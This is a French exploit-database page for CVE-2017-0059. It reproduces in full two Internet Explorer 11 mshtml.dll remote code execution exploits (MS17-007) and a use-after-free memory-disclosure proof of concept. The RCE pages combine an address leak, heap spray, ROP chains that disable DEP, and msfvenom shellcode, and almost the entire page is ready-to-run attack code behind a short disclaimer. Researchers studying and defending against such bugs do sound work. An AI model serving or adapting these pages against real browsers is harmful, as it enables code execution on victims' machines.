Exploit matérialisé
CVE-2017-0059
HIGH KEV3 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
remote windows_x86 Vérifié
Source
Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007)
Par mschenk
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code html
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
ExploitDB
dos windows Vérifié
Source
Microsoft Internet Explorer 11 - 'textarea.defaultValue' Memory Disclosure (MS17-006)
Par Google Security Research
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
Code html
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1076
There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38)
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
alert("Text value freed, can be reallocated here");
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!--
=========================================
Please also see the attached screenshots that demonstrate using the PoC for memory disclosure.
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled. In that case IE crashes at
(b5c.f44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10abbff8 ebx=00000002 ecx=10abbff8 edx=10abbff8 esi=0e024ffc edi=00000000
eip=7582c006 esp=0a3aac48 ebp=0a3aac54 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msvcrt!wcscpy_s+0x46:
7582c006 0fb706 movzx eax,word ptr [esi] ds:002b:0e024ffc=????
0:008> k
# ChildEBP RetAddr
00 0a3aac54 7198e8f0 msvcrt!wcscpy_s+0x46
01 0a3aad48 7189508e MSHTML!CElement::InjectInternal+0x6fa
02 0a3aad88 7189500c MSHTML!CRichtext::SetValueHelperInternal+0x79
03 0a3aada0 71894cf9 MSHTML!CRichtext::DoReset+0x3f
04 0a3aae24 71894b73 MSHTML!CFormElement::DoReset+0x157
05 0a3aae40 706c05da MSHTML!CFastDOM::CHTMLFormElement::Trampoline_reset+0x33
06 0a3aaeb0 706b6d73 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x19d
07 0a3aaef8 706baa24 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
08 0a3ab19c 7071451a jscript9!Js::InterpreterStackFrame::Process+0x3a10
09 0a3ab1d4 70714579 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
0a 0a3ab478 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x49a8
0b 0a3ab5b4 09780fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
0c 0a3ab5c0 706bda16 0x9780fd9
0d 0a3ab868 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x1e62
0e 0a3ab984 09780fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
0f 0a3ab990 706b6d73 0x9780fe1
10 0a3ab9dc 706b73a8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
11 0a3aba50 706b72dd jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
12 0a3aba98 706b7270 jscript9!ScriptSite::CallRootFunction+0x42
13 0a3abae4 7086d8f8 jscript9!ScriptSite::Execute+0xd2
14 0a3abb48 7165a587 jscript9!ScriptEngineBase::Execute+0xc7
15 0a3abc04 7165a421 MSHTML!CListenerDispatch::InvokeVar+0x15a
16 0a3abc30 7165a11c MSHTML!CListenerDispatch::Invoke+0x6d
17 0a3abcd0 7165a286 MSHTML!CEventMgr::_InvokeListeners+0x210
18 0a3abce8 7165a1ad MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42
19 0a3abd78 71659f1b MSHTML!CEventMgr::_InvokeListeners+0x150
1a 0a3abedc 714df1d7 MSHTML!CEventMgr::Dispatch+0x4d5
1b 0a3abf08 71969808 MSHTML!CEventMgr::DispatchEvent+0x90
1c 0a3abf40 7132de1f MSHTML!COmWindowProxy::Fire_onload+0x146
1d 0a3abfa0 7132df9c MSHTML!CMarkup::OnLoadStatusDone+0x5c0
1e 0a3abfbc 7132cd31 MSHTML!CMarkup::OnLoadStatus+0xed
1f 0a3ac400 714e8062 MSHTML!CProgSink::DoUpdate+0x48d
20 0a3ac40c 712de2f9 MSHTML!CProgSink::OnMethodCall+0x12
21 0a3ac45c 712ddcfa MSHTML!GlobalWndOnMethodCall+0x16c
22 0a3ac4b0 759962fa MSHTML!GlobalWndProc+0x103
23 0a3ac4dc 75996d3a user32!InternalCallWinProc+0x23
24 0a3ac554 759977c4 user32!UserCallWinProcCheckWow+0x109
25 0a3ac5b4 7599788a user32!DispatchMessageWorker+0x3b5
26 0a3ac5c4 726da99c user32!DispatchMessageW+0xf
27 0a3af794 7277ec38 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
28 0a3af854 765182ec IEFRAME!LCIETab_ThreadProc+0x3e7
29 0a3af86c 73f73a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
2a 0a3af8a4 75e0336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
2b 0a3af8b0 77b19902 kernel32!BaseThreadInitThunk+0xe
2c 0a3af8f0 77b198d5 ntdll!__RtlUserThreadStart+0x70
2d 0a3af908 00000000 ntdll!_RtlUserThreadStart+0x1b
where the old value was deleated at
0:008> !heap -p -a 0e024ffc
address 0e024ffc found in
_DPH_HEAP_ROOT @ f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
dd03820: e024000 2000
7417947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
77bb126b ntdll!RtlDebugReAllocateHeap+0x00000033
77b6de86 ntdll!RtlReAllocateHeap+0x00000054
71ba761f MSHTML!CTravelLog::_AddEntryInternal+0x00000215
71b8f48d MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
71b8f446 MSHTML!_HeapRealloc<0>+0x00000011
7162deea MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
71678877 MSHTML!CBase::put_StringHelper+0x0000004d
71fc6d60 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
706c05da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
706c0f77 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
706c0eb4 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
70710cd3 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
70710b26 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
70710ba6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
706ba60e jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
706bdbe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Note: because the text allocations aren't protected by MemGC and happen on the process heap, use-after-free bugs dealing with text allocations are still exploitable.
Screenshots:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41661.zip
-->
ExploitDB
remote windows_x86-64
Source
Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)
Par redr2e
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code html
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var base_leaked_addr = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function readu(value) {
var uc = escape(value);
var ucsplit = uc.split('%');
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
return res;
}
function spray() {
// DEPS technique used here - avoid null bytes
var hso = document.createElement("div");
base_leaked_addr = parseInt(base_leaked_addr,16);
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape(
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffff) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x4e385) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2030f) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(0,0xf07645d5) +
writeu(base_leaked_addr,0x6e002) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0xaebc) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffbf) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x6361b) +
writeu(base_leaked_addr,0x432cf) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x5cef1) +
writeu(base_leaked_addr,0x4177e) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x1244) +
writeu(base_leaked_addr,0xa819) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2720b) +
"" );
/*
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
Library used "propsys.dll", part of the Windows Search functionality (?)
and last updated Nov 2010. I think it's a good target for our needs.
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
</form>
<script>
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>